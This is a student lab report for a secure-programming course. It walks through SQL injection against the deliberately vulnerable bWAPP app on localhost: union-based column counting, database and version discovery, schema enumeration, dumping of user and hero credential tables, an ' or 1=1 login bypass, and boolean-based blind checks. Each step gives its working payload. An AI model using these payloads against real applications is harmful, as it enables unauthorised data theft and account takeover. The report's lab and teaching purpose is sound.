

# BBM 459 - Secure Programming Laboratory



Department of Computer Engineering

Programming Assignment-3  
Spring 2020-2021

**Subject:** SQL Injection  
**Environment:** Ubuntu, Centos  
**Due Date:** April 20, 2021 - 23:59

Muhammed Said Kaya (21627428)  
&  
Ali Kayadibi (21727432)

## Experiment Steps

### 2.2.1 SQL Injection (GET>Select)

In this page we can select a movie from the dropdown, but we have seen that this page sends the query parameters from URL. This can be exploited. In the next steps we will try to exploit that by using different inputs.

The screenshot shows the bWAPP interface. The title bar says "an extremely buggy web app!". The navigation bar includes links for Bugs, Change Password, Create User, Set Security Level, Reset, Credits, Blog, Logout, and Welcome Bee. Below the navigation bar, there is a search bar with the placeholder "Select a movie: G.I. Joe: Retaliation" and a "Go" button. To the right of the search bar, there are social media icons for Twitter, LinkedIn, Facebook, and Email. Below the search bar is a table with columns: Title, Release, Character, Genre, and IMDb. The first row of the table contains the values: G.I. Joe: Retaliation, 2013, Cobra Commander, action, and a Link button. The URL in the browser's address bar is "/SQL\_Injection\_(GET>Select) /".

#### a. Find column number of the SQL statement.

This screenshot shows the same bWAPP interface as the previous one, but with a modified search input. The search bar now contains "Select a movie: G.I. Joe: Retaliation 2" and the "Go" button is still present. The table below the search bar has been updated. The first row now shows the values: 2, 3, 5, action, and a Link button. The URL in the browser's address bar remains "/SQL\_Injection\_(GET>Select) /".

[http://localhost/sqli\\_2.php?movie=1%20and%201=0%20union%20all%20select%201,2,3,4,5,6,7--%20-](http://localhost/sqli_2.php?movie=1%20and%201=0%20union%20all%20select%201,2,3,4,5,6,7--%20-)

This is what we get from writing the above query, we can see that on page the 2,3,5,4 columns are shown. We will use these column numbers to print out data into the shown page.

Because of the 1=0 condition, the left side of the sql query returns nothing so union all commands selects and gets all columns. We have tried numbers until 8 which is one more from the columns number in the database.

The screenshot shows the bWAPP web application interface. The title bar says "bWAPP" and "an extremely buggy web app!". Below it is a navigation bar with links: Bugs, Change Password, Create User, Set Security Level, Reset, Credits, and Blog. The main content area has a header "/ SQL Injection (GET/Select) /". Below it is a dropdown menu labeled "Select a movie:" with "G.I. Joe: Retaliation" selected and a "Go" button. Underneath is a table with columns: Title, Release, Character, Genre, and IMDb. A message at the bottom states: "Error: The used SELECT statements have a different number of columns".

[http://localhost/sqli\\_2.php?movie=1%20and%201=0%20union%20all%20select%201,2,3,4,5,6,7,8--%20-](http://localhost/sqli_2.php?movie=1%20and%201=0%20union%20all%20select%201,2,3,4,5,6,7,8--%20-)

This is the error message we get after entering numbers to 8. Different number of columns error is thrown to us. This means the number of columns is 7.

### b. Find name of the current database.

[http://localhost/sqli\\_2.php?movie=1%20and%201=0%20union%20all%20select%201,database\(\)%3.4.5.6.7--%20-](http://localhost/sqli_2.php?movie=1%20and%201=0%20union%20all%20select%201,database()%3.4.5.6.7--%20-)

To find the current database we have changed the input column 2 to database() which returns the name of the database. This way name of the database will be shown in the Title column.

The screenshot shows the bWAPP web application interface. The title bar says "bWAPP" and "an extremely buggy web app!". Below it is a navigation bar with links: Bugs, Change Password, Create User, Set Security Level, Reset, Credits, and Blog. The main content area has a header "/ SQL Injection (GET/Select) /". Below it is a dropdown menu labeled "Select a movie:" with "G.I. Joe: Retaliation" selected and a "Go" button. Underneath is a table with columns: Title, Release, Character, Genre, and IMDb. The "Title" column contains the value "bWAPP".

### c. Find version of the database.

The screenshot shows the bWAPP web application interface. At the top, there's a yellow header with the logo 'bWAPP' and the tagline 'an extremely buggy web app!'. Below the header is a navigation bar with links: Bugs, Change Password, Create User, Set Security Level, Reset, Credits, and Blog. The main content area has a title '/ SQL Injection (GET>Select) /'. Below the title is a form with a dropdown menu set to 'G.I. Joe: Retaliation' and a 'Go' button. A table below the form has five columns: Title, Release, Character, Genre, and IMDb. There is one row in the table with values: 2, 3, 5.547-Ubuntu0.14.04.1, 4, and a Link button.

[http://localhost/sqli\\_2.php?movie=1%20and%201=0%20union%20all%20select%201.2.3.4.@@version,6.7--%20-](http://localhost/sqli_2.php?movie=1%20and%201=0%20union%20all%20select%201.2.3.4.@@version,6.7--%20-)

To find the version of the database we have changed the 5th input column to @@version which gives the version of the database when executed. The version of the database will be shown in character column.

### 2.2.2 SQL Injection (POST>Select)

In this page, we select a movie from dropdown and hit go button to retrieve that movie. Because it uses post method nothing is sent from URL. To exploit this we must go to source page and inspect, change the value with our malicious code and send that with post method to database.

#### a. List table names and number of records in each table of the database.

The screenshot shows the bWAPP web application interface. At the top, there's a yellow header with the logo 'bWAPP' and the tagline 'an extremely buggy web app!'. Below the header is a navigation bar with links: Bugs, Change Password, Create User, Set Security Level, and a dropdown menu set to 'Hack'. The main content area has a title '/ SQL Injection (POST) /'. Below the title is a form with a dropdown menu set to 'G.I. Joe: Retaliation' and a 'Go' button. A table below the form has three columns: Title, Release, and Character. There is one row in the table with values: 2, 3, and 5.547-Ubuntu0.14.04.1. To the right of the screenshot, the browser's developer tools are open, showing the network tab with a POST request to '/sql1\_13.php' with the following payload: "Select a movie: " value="1 and 1=0 UNION ALL SELECT 1, group\_concat(table\_name), group\_concat(table\_rows), null,null,null,null FROM information\_schema.tables where table\_schema = 'bWAPP' " which will give us table names if our query is true.

As we see values are set with ids, we can exploit that, by changing the value column. We can write ;

value="1 and 1=0 UNION ALL  
SELECT 1,  
group\_concat(table\_name),  
group\_concat(table\_rows),  
null,null,null,null FROM  
information\_schema.tables  
where table\_schema =  
'bWAPP' " which will give us  
table names if our query is true.

Choose your bug: bWAPP v2.2 Hack

Set your security level: low Set Current: low

# bWAPP

an extremely buggy web app!

Bugs Change Password Create User Set Security Level

## / SQL Injection (POST) /

Select a movie: G.I. Joe: Retaliation Go

Title	Release	Character	Genre	IMDb
blog,heroes,movies,users,visitors	0,6,10,2,0			<a href="#">Link</a>

```

<!DOCTYPE html>
<html data-ember-extension="1">
<head>...</head>
<body cz-shortcut-listen="true">
  <header>...</header>
  <div id="menu">...</div>
  <div id="main">
    ><h1>...</h1>
    ><form action="/sql1_13.php" method="POST">
      ><p>
        "Select a movie:
        "
      ><select name="movie">
        <option value="1 and 1=0 UNION ALL SELECT 1,group_concat(table_name),group_concat(table_rows),null,null,null,null FROM information_schema.tables where table_schema = 'bWAPP'">G.I. Joe: Retaliation</option>
        <option value="2">Iron Man</option>
        <option value="3">Man of Steel</option>
        <option value="4">Terminator Salvation</option>
        <option value="5">The Amazing Spider-Man</option>
        <option value="6">The Cabin in the Woods</option>
        <option value="7">The Dark Knight Rises</option>
      </select>
    ></p>
  </div>
</body>
</html>

```

After hitting the go button. We are expected to see the table names that are in the database.

Choose your bug: bWAPP v2.2 Hack

Set your security level: low Set Current: low

# bWAPP

an extremely buggy web app!

Bugs Change Password Create User Set Security Level Reset Credits

## / SQL Injection (POST/Select) /

Select a movie: G.I. Joe: Retaliation Go

Title	Release	Character	Genre	IMDb
blog,heroes,movies,users,visitors	0,6,10,2,0			<a href="#">Link</a>

Our query is executed successfully, we are able to see the table names and number of records inside these tables that are in the database. They are blog, heroes, movies, users and visitors.

## b. List column names of each table.

```

<!DOCTYPE html>
<html data-ember-extension="1">
  <head>...</head>
  <body cz-shortcut-listen="true">
    <header>...</header>
    <div id="menu">...</div>
    <div id="main">
      <h1>...</h1>
      <form action="/sql_13.php" method="POST">
        <p>"Select a movie:</p>
        <select name="movie">
          <option value="1 and 1=0 union all select 1,group_concat(column_name),3,4,5,6,7 from information_schema.columns where table_name = 'blog' and table_schema = 'bWAPP'">G.I. Joe: Retaliation</option> == $0
          <option value="2">Iron Man</option>
          <option value="3">Man of Steel</option>
          <option value="4">Terminator Salvation</option>
          <option value="5">The Amazing Spider-Man</option>
          <option value="6">The Cabin in the Woods</option>
          <option value="7">The Dark Knight Rises</option>
          <option value="8">The Fast and the Furious</option>
          <option value="9">The Incredible Hulk</option>
          <option value="10">World War Z</option>
        </select>
        <button type="submit" name="action" value="go">Go</button>
      </form>
    </div>
  </body>

```

To retrieve column names of each table. We must modify our query and we must add table\_name = "blog". For each table name. This will give us the columns that are in these tables.

### BLOG TABLE

value="1 and 1=0 union all select 1,group\_concat(column\_name),3,4,5,6,7 from information\_schema.columns where table\_name = 'blog' and table\_schema = 'bWAPP' "

Title	Release	Character	Genre	IMDb
id,owner,entry,date	3	5	4	Link

This is blog table, it has id, owner, entry and date columns. Nothing interesting here.

## HEROES TABLE

value="1 and 1=0 union all select 1,group\_concat(column\_name),3,4,5,6,7 from information\_schema.columns where table\_name = 'heroes' and table\_schema = 'bWAPP' "

The screenshot shows the bWAPP web application interface. At the top, there's a yellow header with the text "Choose your bug", "bWAPP v2.2", and a "Hack" button. Below the header, it says "Set your security level: low" and "Current: low". A red annotation adds "an extremely buggy web app!". The main content area has a title "/ SQL Injection (POST>Select) /". Below the title is a dropdown menu set to "G.I. Joe: Retaliation" with a "Go" button. A table follows, with columns: Title, Release, Character, and Genre. The first row contains the values "id,login,password,secret", "3", "5", and "4".

Title	Release	Character	Genre
id,login,password,secret	3	5	4

Heroes table has id, login, password, secret values These attributes are important and if passwords are not hashed we can login with these login values.

## MOVIES TABLE

value="1 and 1=0 union all select 1,group\_concat(column\_name),3,4,5,6,7 from information\_schema.columns where table\_name = 'movies' and table\_schema = 'bWAPP' "

The screenshot shows the bWAPP web application interface, similar to the Heroes page. It features a yellow header with "Choose your bug", "bWAPP v2.2", and a "Hack" button. A red annotation adds "an extremely buggy web app!". The main content area has a title "/ SQL Injection (POST>Select) /". Below the title is a dropdown menu set to "G.I. Joe: Retaliation" with a "Go" button. A table follows, with columns: Title, Release, Character, Genre, and IMDb. The first row contains the values "id,title,release\_year,genre,main\_character,imdb,tickets\_stock", "3", "5", "4", and a "Link" button.

Title	Release	Character	Genre	IMDb
id,title,release_year,genre,main_character,imdb,tickets_stock	3	5	4	Link

Movies table has id, title, release\_year, genre, main\_character, imdb, tickets\_stock columns. Again, nothing interesting here.

## USERS TABLE

value="1 and 1=0 union all select 1,group\_concat(column\_name),3,4,5,6,7 from information\_schema.columns where table\_name = 'users' and table\_schema = 'bWAPP' "

The screenshot shows the bWAPP homepage with a yellow header. In the top right, there's a dropdown menu labeled "Choose your bug" set to "bWAPP v2.2" with a "Hack" button. Below it is a "Set your security level" dropdown set to "low". The main content area has a title "SQL Injection (POST>Select) /". A form below says "Select a movie: G.I. Joe: Retaliation" with a "Go" button. A table follows:

Title	Release	Character	Genre	IMDb
id,login,password,email,secret,activation_code,activated,reset_code,admin	3	5	4	<a href="#">Link</a>

Users is one of the important tables, it has id,login,password,email,secret, activation\_code, reset\_code and admin attributes. With these columns, we get the login values of admin and we can gain access to this website.

## VISITORS TABLE

value="1 and 1=0 union all select 1,group\_concat(column\_name),3,4,5,6,7 from information\_schema.columns where table\_name = 'visitors' and table\_schema = 'bWAPP' "

The screenshot shows the bWAPP homepage with a yellow header. In the top right, there's a dropdown menu labeled "Choose your bug" set to "bWAPP v2.2" with a "Hack" button. Below it is a "Set your security level" dropdown set to "low". The main content area has a title "SQL Injection (POST>Select) /". A form below says "Select a movie: G.I. Joe: Retaliation" with a "Go" button. A table follows:

Title	Release	Character	Genre	IMDb
id,ip_address,user_agent,date	3	5	4	<a href="#">Link</a>

Visitors table has id, ip\_address, user\_agent, date column. Again, nothing interesting here.

## 2.2.3 SQL Injection (GET/Search)

In this page, a search button is put for users to search a movie. It uses like in sql which finds the movies that are similar to entered string. But this is very dangerous because we can do SQL Injection attacks with this.

### a. List all records in each table.

This field accepts a string from us. We can end this string with ' and now we are free to do whatever we want. We can put 1=0 to get no movies and than we can give our malicious sql code. Comment added to end of text for being other code parts are closed.

#### USERS TABLE

After finding column names above , we can get all of the users stored in this table. Below input is written for this.

' and 1=0 union all select 1,login,password,email,secret,admin,7 from users -- -

The screenshot shows the bWAPP web application interface. At the top, there's a yellow header with the bWAPP logo (a bee) and the text "Choose your bug: bWAPP v2.2" with a "Hack" button. Below that is a "Set your security level:" dropdown set to "low" with a "Set Current low" button. The main navigation bar has links for "Bugs", "Change Password", "Create User", "Set Security Level", "Reset", "Credits", and "Blog". The main content area has a title "/ SQL Injection (GET/Search) /". Below it is a search form with a "Search for a movie:" input field and a "Search" button. A table displays movie data:

Title	Release	Character	Genre	IMDb
A.I.M.	6885858486f31043e5839c735d99457f045affd0	A.I.M. or Authentication Is Missing	bwapp-aim@mailinator.com	<a href="#">Link</a>
bee	6885858486f31043e5839c735d99457f045affd0	Any bugs?	bwapp-bee@mailinator.com	<a href="#">Link</a>

We can see all of the users stored in this table which is 2. We can see that users' passwords are stored in digest form and also we can see the username, email, secret and the admin value (inside link).

## MOVIES TABLE

After finding the column names above, we can get all of the movies stored in the database.

```
' and 1=0 union all select 1,id,title,release_year,genre,main_character,7 from movies -- -
```

The screenshot shows the bWAPP web application interface. At the top, there's a yellow header with the bWAPP logo, a bee icon, and the text "Choose your bug: bWAPP v2.2 Hack". Below the header, it says "Set your security level: low Set Current: low". The main navigation bar includes links for Bugs, Change Password, Create User, Set Security Level, Reset, Credits, and Blog. The main content area has a title "/ SQL Injection (GET/Search) /". Below the title is a search form with the placeholder "Search for a movie:" and a "Search" button. A table follows, displaying movie data:

Title	Release	Character	Genre	IMDb
1	G.I. Joe: Retaliation	action	2013	<a href="#">Link</a>
2	Iron Man	action	2008	<a href="#">Link</a>
3	Man of Steel	action	2013	<a href="#">Link</a>
4	Terminator Salvation	sci-fi	2009	<a href="#">Link</a>
5	The Amazing Spider-Man	action	2012	<a href="#">Link</a>
6	The Cabin in the Woods	horror	2011	<a href="#">Link</a>

We can see all the movies stored in the database.

## HEROES TABLE

and 1=0 union all select 1,id,login,password,secret,6,7 from heroes -- -

The screenshot shows the bWAPP web application interface. At the top, there's a yellow header with the bWAPP logo, a bee icon, and options to 'Choose your bug' (set to bWAPP v2.2), 'Set your security level' (set to low), and a 'Hack' button. Below the header is a navigation bar with links: Bugs, Change Password, Create User, Set Security Level, Reset, Credits, and Blog. The main content area has a title '/ SQL Injection (GET/Search) /'. Below it is a search form with a placeholder 'Search for a movie:' and a 'Search' button. A table follows, with columns: Title, Release, Character, Genre, and IMDb. The table contains six rows of data:

Title	Release	Character	Genre	IMDb
1	neo	Oh why didn't I took that BLACK pill?	trinity	<a href="#">Link</a>
2	alice	There's a cure!	loveZombies	<a href="#">Link</a>
3	thor	Oh, no... this is Earth... isn't it?	Asgard	<a href="#">Link</a>
4	wolverine	What's a Magneto?	Log@N	<a href="#">Link</a>
5	johnny	I'm the Ghost Rider!	m3ph1st0ph3l3s	<a href="#">Link</a>
6	selene	It wasn't the Lycans. It was you.	m00n	<a href="#">Link</a>

Here we can see all heroes' id,login,password,secret informations. Passwords are not hashed so we can easily login the system using these informations.

**b. Get credentials of a superhero by using id column of the related table. Go to SQL Injection (Login Form/Hero) bug and login with username and password of the superhero.**

' and 1=0 union all select 1,id,login,password,secret,6,7 from heroes where id=1 -- -

The screenshot shows the bWAPP homepage with the title 'an extremely buggy web app'. On the right, there are dropdown menus for 'Choose your bug:' (set to 'bWAPP v2.2') and 'Set your security level:' (set to 'low'). Below these are navigation links: Bugs, Change Password, Create User, Set Security Level, Reset, Credits, and Blog. The main content area has a heading '/ SQL Injection (GET/Search) /'. A search bar contains 'Search for a movie:' followed by a 'Search' button. Below the search bar is a table with the following data:

Title	Release	Character	Genre	IMDb
1	neo	Oh why didn't I took that BLACK pill?	trinity	<a href="#">Link</a>

By writing the input above we were able to get the all information about hero whos id is 1.

username: neo  
password trinity

The screenshot shows the bWAPP homepage again. The 'Choose your bug:' dropdown is set to 'bWAPP v2.2' and the 'Set your security level:' dropdown is set to 'low'. Below these are the same navigation links as the previous screenshot. The main content area has a heading '/ SQL Injection (Login Form/Hero) /'. A message says 'Enter your "superhero" credentials.' Below this are two input fields: 'Login:' containing 'neo' and 'Password:' containing 'trinity'. A 'Login' button is at the bottom of the form.

### (Login Form/Hero)

In Login Form/ Hero page, we can use the login informations we found in above, and we can try to enter the website. Let's see we can login with these informations.

The screenshot shows the bWAPP web application interface. At the top, there's a yellow header bar with the bWAPP logo, a bee icon, and the text "Choose your bug: bWAPP v2.2 Hack". Below the header, it says "Set your security level: low Set Current: low". The main content area has a title "/ SQL Injection (Login Form/Hero) /". It asks for "Enter your 'superhero' credentials." with fields for "Login:" and "Password:". A "Login" button is below the password field. The response section says "Welcome Neo, how are you today?" and "Your secret: Oh Why Didn't I Took That BLACK Pill?".

**The username and password is correct so we were able to login the system.**

**c. Repeat the step 2.2.3.b. by not using the original password (In other words, you are expected to login without using the original password). Interpret the result.**

The screenshot shows the bWAPP web application interface. At the top, there's a yellow header bar with the bWAPP logo, a bee icon, and the text "Choose your bug: bWAPP v2.2 Hack". Below the header, it says "Set your security level: low Set Current: low". The main content area has a title "/ SQL Injection (Login Form/Hero) /". It asks for "Enter your 'superhero' credentials." with fields for "Login:" and "Password:". A "Login" button is below the password field. The response section says "Welcome Neo, how are you today?" and "Your secret: Oh Why Didn't I Took That BLACK Pill?".

Instead of writing the original password we can write below input.

username : neo  
password = ' or 1=1 -- -

The screenshot shows the bWAPP web application interface. At the top, there's a yellow header bar with the bWAPP logo, a bee icon, and the text "Choose your bug: bWAPP v2.2 Hack". Below the header, it says "Set your security level: low Set Current: low". The main content area has a title "/ SQL Injection (Login Form/Hero) /". It asks for "Enter your 'superhero' credentials." with fields for "Login:" and "Password:". A "Login" button is below the password field. The response section says "Welcome Neo, how are you today?" and "Your secret: Oh Why Didn't I Took That BLACK Pill?".

First ' closes the input field than the or 1=1 is executed. 1 or anything is always true so it will bypass the login system and can login without password

## 2.2.4 SQL Injection - Blind - Boolean-Based

### a. Verify the name of the database found in step 2.2.1.b.

bWAPP

' and 1=0 union all select 1,2,3,4,5,6,7 from users where database()="bWAPP" -- -

The screenshot shows the bWAPP homepage with a yellow header and a black navigation bar. In the search bar, the user has entered the SQL query: ' and 1=0 union all select 1,2,3,4,5,6,7 from users where database()="bWAPP" -- -'. The page displays a success message: 'The movie exists in our database!'. The navigation bar includes links for Bugs, Change Password, Create User, Set Security Level, Reset, Credits, and Blog.

In here you write a movie to search and website returns movie exits if given movie name exist in database. It uses like statement so we can use this as a exploit. When we write the above input, it says the movie exist in our database so we can say that our buried sql statement return true when executed inside the database. So we can verify that name of the database is bWAPP.

**b. Verify the version of the database found in step 2.2.1.c.**

5.5.47-Oubuntu0.14.04.1

' and 1=0 union all select 1,2,3,4,5,6,7 from users where @@version = "5.5.47-Oubuntu0.14.04.1" -- -

The screenshot shows the bWAPP web application interface. At the top, there's a yellow header with the bWAPP logo (a bee) and the text "Choose your bug: bWAPP v2.2" with a "Hack" button. Below the header, it says "Set your security level: low" with a dropdown menu set to "low". A red annotation at the bottom of the header reads "an extremely buggy web app". The main content area has a title "SQL Injection - Blind - Boolean-Based" with red and green highlights. Below the title is a search bar containing "Search for a movie: ersion='5.5.47-Oubuntu0.14.04.1' -- ". A "Search" button is next to the search bar. Below the search bar, a message says "The movie exists in our database!".

Here we are trying to verify the version of database we have found in 2.2.1.c. It was 5.5.47-Oubuntu0.14.04.1. So we modify the input we have used above and it gives The movie exists in our database which means it is correct. Lets try with wrong database version.

' and 1=0 union all select 1,2,3,4,5,6,7 from users where @@version = "5.5.48-Oubuntu0.14.04.1" -- -

The screenshot shows the bWAPP web application interface, identical to the previous one but with a different search query. The search bar now contains "Search for a movie: ersion='5.5.48-Oubuntu0.14.04.1' -- ". The message below the search bar says "The movie does not exist in our database!".

As we see when entered a wrong version, it said the movie does not exist in our database, because this sql query is executed inside the server and returned false in return.

**c. Verify the e-mail address of a user listed in step 2.2.3.a**

bwapp-aim@mailinator.com

' and 1=0 union all select 1,2,3,4,5,6,7 from users where email="bwapp-aim@mailinator.com" -- -

The screenshot shows the bWAPP homepage with a yellow header. On the right side of the header, there is a dropdown menu labeled "Choose your bug:" with "bWAPP v2.2" selected, and a "Hack" button. Below the dropdown, it says "Set your security level:" with "low" selected and a "Set" button. A red banner across the page reads "an extremely buggy web app". The main content area has a title " / SQL Injection - Blind - Boolean-Based / ". Below the title is a search bar with the placeholder "Search for a movie:" and a value "email='bwapp-aim@mailinator.com'". To the right of the search bar is a "Search" button. Below the search bar, a message says "The movie exists in our database!".

One of the users email was [bwapp-aim@mailinator.com](#) so lets try this one. As we see when entered the about input, it returned the movie exist in our database. Lets try with our email.

' and 1=0 union all select 1,2,3,4,5,6,7 from users where email="saidkaya@gmail.com" -- -

The screenshot shows the bWAPP homepage with a yellow header. On the right side of the header, there is a dropdown menu labeled "Choose your bug:" with "bWAPP v2.2" selected, and a "Hack" button. Below the dropdown, it says "Set your security level:" with "low" selected and a "Set" button. A red banner across the page reads "an extremely buggy web app". The main content area has a title " / SQL Injection - Blind - Boolean-Based / ". Below the title is a search bar with the placeholder "Search for a movie:" and a value "ere email='saidkaya@gmail.com' -- ". To the right of the search bar is a "Search" button. Below the search bar, a message says "The movie does not exist in our database!".

Our email is not inside database so this input was executed and returned false inside. So this is why it says the movie does not exist in our database.